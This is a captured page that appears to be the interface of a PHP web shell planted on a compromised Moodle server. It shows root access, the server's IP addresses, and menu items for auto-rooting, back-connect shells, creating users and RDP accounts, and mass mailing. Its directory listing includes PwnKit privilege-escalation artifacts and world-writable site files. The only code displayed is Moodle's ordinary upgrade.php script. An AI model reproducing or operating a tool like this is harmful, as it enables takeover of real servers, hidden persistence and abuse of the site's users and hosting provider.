Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
cli /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adhoc_task.php
3.21
KB
-rwxrwxrwx
alternative_component_cache.ph...
3
KB
-rwxrwxrwx
automated_backups.php
2.71
KB
-rwxrwxrwx
backup.php
3.97
KB
-rwxrwxrwx
build_theme_css.php
3.35
KB
-rwxrwxrwx
cfg.php
6.21
KB
-rwxrwxrwx
check_database_schema.php
1.89
KB
-rwxrwxrwx
checks.php
4.62
KB
-rwxrwxrwx
cron.php
2.15
KB
-rwxrwxrwx
fix_course_sequence.php
4.28
KB
-rwxrwxrwx
fix_deleted_users.php
3.29
KB
-rwxrwxrwx
fix_orphaned_calendar_events.p...
5.23
KB
-rwxrwxrwx
fix_orphaned_question_categori...
3.45
KB
-rwxrwxrwx
install.php
30.38
KB
-rwxrwxrwx
install_database.php
6.18
KB
-rwxrwxrwx
kill_all_sessions.php
1.54
KB
-rwxrwxrwx
maintenance.php
3.62
KB
-rwxrwxrwx
mysql_collation.php
12.37
KB
-rwxrwxrwx
mysql_compressed_rows.php
6.53
KB
-rwxrwxrwx
mysql_engine.php
5.48
KB
-rwxrwxrwx
purge_caches.php
2.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
reset_password.php
3.17
KB
-rwxrwxrwx
scheduled_task.php
4.84
KB
-rwxrwxrwx
svgtool.php
5.01
KB
-rwxrwxrwx
uninstall_plugins.php
5.87
KB
-rwxrwxrwx
upgrade.php
7.78
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upgrade.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This script creates config.php file and prepares database. * * This script is not intended for beginners! * Potential problems: * - su to apache account or sudo before execution * - not compatible with Windows platform * * @package core * @subpackage cli * @copyright 2009 Petr Skoda (http://skodak.org) * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // Force OPcache reset if used, we do not want any stale caches // when detecting if upgrade necessary or when running upgrade. if (function_exists('opcache_reset') and !isset($_SERVER['REMOTE_ADDR'])) { opcache_reset(); } define('CLI_SCRIPT', true); define('CACHE_DISABLE_ALL', true); require(__DIR__.'/../../config.php'); require_once($CFG->libdir.'/adminlib.php'); // various admin-only functions require_once($CFG->libdir.'/upgradelib.php'); // general upgrade/install related functions require_once($CFG->libdir.'/clilib.php'); // cli only functions require_once($CFG->libdir.'/environmentlib.php'); // now get cli options $lang = isset($SESSION->lang) ? $SESSION->lang : $CFG->lang; list($options, $unrecognized) = cli_get_params( array( 'non-interactive' => false, 'allow-unstable' => false, 'help' => false, 'lang' => $lang, 'verbose-settings' => false, 'is-pending' => false, ), array( 'h' => 'help' ) ); if ($options['lang']) { $SESSION->lang = $options['lang']; } $interactive = empty($options['non-interactive']); if ($unrecognized) { $unrecognized = implode("\n ", $unrecognized); cli_error(get_string('cliunknowoption', 'admin', $unrecognized)); } if ($options['help']) { $help = "Command line Moodle upgrade. Please note you must execute this script with the same uid as apache! Site defaults may be changed via local/defaults.php. Options: --non-interactive No interactive questions or confirmations --allow-unstable Upgrade even if the version is not marked as stable yet, required in non-interactive mode. --lang=CODE Set preferred language for CLI output. Defaults to the site language if not set. Defaults to 'en' if the lang parameter is invalid or if the language pack is not installed. --verbose-settings Show new settings values. By default only the name of new core or plugin settings are displayed. This option outputs the new values as well as the setting name. --is-pending If an upgrade is needed it exits with an error code of 2 so it distinct from other types of errors. -h, --help Print out this help Example: \$sudo -u www-data /usr/bin/php admin/cli/upgrade.php "; //TODO: localize - to be translated later when everything is finished echo $help; die; } if (empty($CFG->version)) { cli_error(get_string('missingconfigversion', 'debug')); } require("$CFG->dirroot/version.php"); // defines $version, $release, $branch and $maturity $CFG->target_release = $release; // used during installation and upgrades if ($version < $CFG->version) { cli_error(get_string('downgradedcore', 'error')); } $oldversion = "$CFG->release ($CFG->version)"; $newversion = "$release ($version)"; if (!moodle_needs_upgrading()) { cli_error(get_string('cliupgradenoneed', 'core_admin', $newversion), 0); } if ($options['is-pending']) { cli_error(get_string('cliupgradepending', 'core_admin'), 2); } // Test environment first. list($envstatus, $environment_results) = check_moodle_environment(normalize_version($release), ENV_SELECT_RELEASE); if (!$envstatus) { $errors = environment_get_errors($environment_results); cli_heading(get_string('environment', 'admin')); foreach ($errors as $error) { list($info, $report) = $error; echo "!! $info !!\n$report\n\n"; } exit(1); } // Test plugin dependencies. $failed = array(); if (!core_plugin_manager::instance()->all_plugins_ok($version, $failed, $CFG->branch)) { cli_problem(get_string('pluginscheckfailed', 'admin', array('pluginslist' => implode(', ', array_unique($failed))))); cli_error(get_string('pluginschecktodo', 'admin')); } $a = new stdClass(); $a->oldversion = $oldversion; $a->newversion = $newversion; if ($interactive) { echo cli_heading(get_string('databasechecking', '', $a)) . PHP_EOL; } // make sure we are upgrading to a stable release or display a warning if (isset($maturity)) { if (($maturity < MATURITY_STABLE) and !$options['allow-unstable']) { $maturitylevel = get_string('maturity'.$maturity, 'admin'); if ($interactive) { cli_separator(); cli_heading(get_string('notice')); echo get_string('maturitycorewarning', 'admin', $maturitylevel) . PHP_EOL; echo get_string('morehelp') . ': ' . get_docs_url('admin/versions') . PHP_EOL; cli_separator(); } else { cli_problem(get_string('maturitycorewarning', 'admin', $maturitylevel)); cli_error(get_string('maturityallowunstable', 'admin')); } } } if ($interactive) { echo html_to_text(get_string('upgradesure', 'admin', $newversion))."\n"; $prompt = get_string('cliyesnoprompt', 'admin'); $input = cli_input($prompt, '', array(get_string('clianswerno', 'admin'), get_string('cliansweryes', 'admin'))); if ($input == get_string('clianswerno', 'admin')) { exit(1); } } if ($version > $CFG->version) { // We purge all of MUC's caches here. // Caches are disabled for upgrade by CACHE_DISABLE_ALL so we must set the first arg to true. // This ensures a real config object is loaded and the stores will be purged. // This is the only way we can purge custom caches such as memcache or APC. // Note: all other calls to caches will still used the disabled API. cache_helper::purge_all(true); upgrade_core($version, true); } set_config('release', $release); set_config('branch', $branch); // unconditionally upgrade upgrade_noncore(true); // log in as admin - we need doanything permission when applying defaults \core\session\manager::set_user(get_admin()); // Apply default settings and output those that have changed. cli_heading(get_string('cliupgradedefaultheading', 'admin')); $settingsoutput = admin_apply_default_settings(null, false); foreach ($settingsoutput as $setting => $value) { if ($options['verbose-settings']) { $stringvlaues = array( 'name' => $setting, 'defaultsetting' => var_export($value, true) // Expand objects. ); echo get_string('cliupgradedefaultverbose', 'admin', $stringvlaues) . PHP_EOL; } else { echo get_string('cliupgradedefault', 'admin', $setting) . PHP_EOL; } } // This needs to happen at the end to ensure it occurs after all caches // have been purged for the last time. // This will build a cached version of the current theme for the user // to immediately start browsing the site. upgrade_themes(); echo get_string('cliupgradefinished', 'admin', $a)."\n"; exit(0); // 0 means success
Close